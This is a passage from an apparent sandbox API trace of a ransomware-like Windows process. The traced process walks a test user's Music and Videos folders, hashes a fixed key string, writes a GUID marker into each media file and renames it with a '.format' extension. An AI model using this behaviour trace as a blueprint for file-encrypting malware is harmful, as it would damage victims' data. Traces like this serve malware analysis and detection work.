nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.043] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.043] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x165d0, lpOverlapped=0x0) returned 1 [0069.043] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.043] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.043] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.043] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.044] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.044] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.044] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.044] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.044] GetLastError () returned 0x0 [0069.044] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.044] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x165d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.045] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.045] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.045] CloseHandle (hObject=0x5c8) returned 1 [0069.046] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\0m0V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\0m0v.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\0m0V.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\0m0v.m4a.format")) returned 1 [0069.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735b640, ftCreationTime.dwHighDateTime=0x1d4cdf1, ftLastAccessTime.dwLowDateTime=0x3363ef80, ftLastAccessTime.dwHighDateTime=0x1d4c79c, ftLastWriteTime.dwLowDateTime=0x3363ef80, ftLastWriteTime.dwHighDateTime=0x1d4c79c, nFileSizeHigh=0x0, nFileSizeLow=0x1738d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1A2_P.mp3", cAlternateFileName="")) returned 1 [0069.048] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\1A2_P.mp3") returned=".mp3" [0069.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\1A2_P.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\1a2_p.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.048] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=95117) returned 1 [0069.048] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.050] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.050] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1738d, lpOverlapped=0x0) returned 1 [0069.052] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.052] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.052] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.052] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.052] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.052] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.053] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.053] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.053] GetLastError () returned 0x0 [0069.053] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.053] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1738d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.054] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.054] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.054] CloseHandle (hObject=0x5c8) returned 1 [0069.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\1A2_P.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\1a2_p.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\1A2_P.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\1a2_p.mp3.format")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2a280, ftCreationTime.dwHighDateTime=0x1d4d478, ftLastAccessTime.dwLowDateTime=0x5d6e6df0, ftLastAccessTime.dwHighDateTime=0x1d4c864, ftLastWriteTime.dwLowDateTime=0x5d6e6df0, ftLastWriteTime.dwHighDateTime=0x1d4c864, nFileSizeHigh=0x0, nFileSizeLow=0x123ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UJ6BqLq.wav", cAlternateFileName="")) returned 1 [0069.056] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\UJ6BqLq.wav") returned=".wav" [0069.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\UJ6BqLq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\uj6bqlq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.056] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=74682) returned 1 [0069.056] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.059] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x12394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.059] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x123ba, lpOverlapped=0x0) returned 1 [0069.060] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.060] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.060] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.060] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.061] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.061] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.061] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.061] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.061] GetLastError () returned 0x0 [0069.061] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.061] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.062] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x123ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.062] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.062] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.062] CloseHandle (hObject=0x5c8) returned 1 [0069.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\UJ6BqLq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\uj6bqlq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\UJ6BqLq.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\uj6bqlq.wav.format")) returned 1 [0069.069] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2a280, ftCreationTime.dwHighDateTime=0x1d4d478, ftLastAccessTime.dwLowDateTime=0x5d6e6df0, ftLastAccessTime.dwHighDateTime=0x1d4c864, ftLastWriteTime.dwLowDateTime=0x5d6e6df0, ftLastWriteTime.dwHighDateTime=0x1d4c864, nFileSizeHigh=0x0, nFileSizeLow=0x123ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UJ6BqLq.wav", cAlternateFileName="")) returned 0 [0069.069] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.069] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.070] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.070] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\") returned="3Us5nuIYL1u_RnPPuJ\\" [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.070] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175a30 | out: hHeap=0x5d0000) returned 1 [0069.070] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.070] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0069.070] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0069.070] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.070] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.070] PathFindFileNameW (pszPath="") returned="" [0069.070] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.070] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12977f50, ftCreationTime.dwHighDateTime=0x1d4d3a5, ftLastAccessTime.dwLowDateTime=0x8775fa70, ftLastAccessTime.dwHighDateTime=0x1d4d2d5, ftLastWriteTime.dwLowDateTime=0x8775fa70, ftLastWriteTime.dwHighDateTime=0x1d4d2d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.070] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12977f50, ftCreationTime.dwHighDateTime=0x1d4d3a5, ftLastAccessTime.dwLowDateTime=0x8775fa70, ftLastAccessTime.dwHighDateTime=0x1d4d2d5, ftLastWriteTime.dwLowDateTime=0x8775fa70, ftLastWriteTime.dwHighDateTime=0x1d4d2d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c81b9c0, ftCreationTime.dwHighDateTime=0x1d4ce05, ftLastAccessTime.dwLowDateTime=0xb876a450, ftLastAccessTime.dwHighDateTime=0x1d4d3c8, ftLastWriteTime.dwLowDateTime=0xb876a450, ftLastWriteTime.dwHighDateTime=0x1d4d3c8, nFileSizeHigh=0x0, nFileSizeLow=0x813e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Xxg.avi", cAlternateFileName="")) returned 1 [0069.071] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.071] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.071] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.071] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\5Xxg.avi") returned=".avi" [0069.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\5Xxg.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\5xxg.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.071] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=33086) returned 1 [0069.071] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.073] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.073] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.074] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.074] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.074] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.074] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x813e, lpOverlapped=0x0) returned 1 [0069.074] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.074] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.075] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.075] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.075] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.075] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.075] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.075] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.075] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.075] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.075] GetLastError () returned 0x0 [0069.075] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.076] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8140) returned 0x32b2f40 [0069.076] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.076] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x8139, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x8139, lpOverlapped=0x0) returned 1 [0069.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.076] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x813e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.076] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.076] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.076] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.076] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.076] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.077] CloseHandle (hObject=0x5c8) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0069.078] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.078] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\5Xxg.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\5xxg.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\5Xxg.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\5xxg.avi.format")) returned 1 [0069.079] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.079] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.080] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.080] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4197a0, ftCreationTime.dwHighDateTime=0x1d4d1ed, ftLastAccessTime.dwLowDateTime=0x548102b0, ftLastAccessTime.dwHighDateTime=0x1d4c702, ftLastWriteTime.dwLowDateTime=0x548102b0, ftLastWriteTime.dwHighDateTime=0x1d4c702, nFileSizeHigh=0x0, nFileSizeLow=0xf828, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AVJ6FiEz4zaaIViNRlw.flv", cAlternateFileName="AVJ6FI~1.FLV")) returned 1 [0069.080] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.080] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.080] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.080] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\AVJ6FiEz4zaaIViNRlw.flv") returned=".flv" [0069.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\AVJ6FiEz4zaaIViNRlw.flv" 